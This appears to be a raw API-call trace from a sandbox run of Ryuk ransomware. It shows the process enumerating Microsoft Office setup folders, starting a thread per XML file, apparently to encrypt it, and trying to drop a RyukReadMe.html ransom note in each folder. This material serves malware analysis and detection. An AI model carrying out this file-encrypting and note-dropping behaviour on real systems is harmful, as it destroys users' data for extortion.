	[0156.411] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.412] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.412] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1
	[0156.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0156.570] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.571] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0156.571] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0156.574] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.575] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0156.575] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0156.575] SetLastError (dwErrCode=0x0) 
	[0156.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.575] GetLastError () returned 0x5
	[0156.576] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.576] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1
	[0156.576] SetLastError (dwErrCode=0x0) 
	[0156.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.576] GetLastError () returned 0x5
	[0156.576] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.590] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.590] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0156.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0156.593] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.593] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0156.594] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0156.596] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.597] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0156.597] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0156.597] SetLastError (dwErrCode=0x0) 
	[0156.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.598] GetLastError () returned 0x5
	[0156.598] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.598] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1
	[0156.598] SetLastError (dwErrCode=0x0) 
	[0156.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.598] GetLastError () returned 0x5
	[0156.598] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.600] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.601] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0156.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0156.604] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.604] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0156.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0157.038] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.039] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0157.039] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0157.039] SetLastError (dwErrCode=0x0) 
	[0157.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.040] GetLastError () returned 0x5
	[0157.040] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.040] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0157.040] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1
	[0157.040] SetLastError (dwErrCode=0x0) 
	[0157.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.041] GetLastError () returned 0x5
	[0157.041] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.041] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0157.288] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.288] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0157.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0157.293] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.293] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1
	[0157.293] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0157.296] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.297] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0
	[0157.297] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0157.298] SetLastError (dwErrCode=0x0) 
	[0157.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.298] GetLastError () returned 0x5
	[0157.298] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.298] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.298] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1
	[0157.298] SetLastError (dwErrCode=0x0) 
	[0157.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.299] GetLastError () returned 0x5
	[0157.299] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0157.300] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.300] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
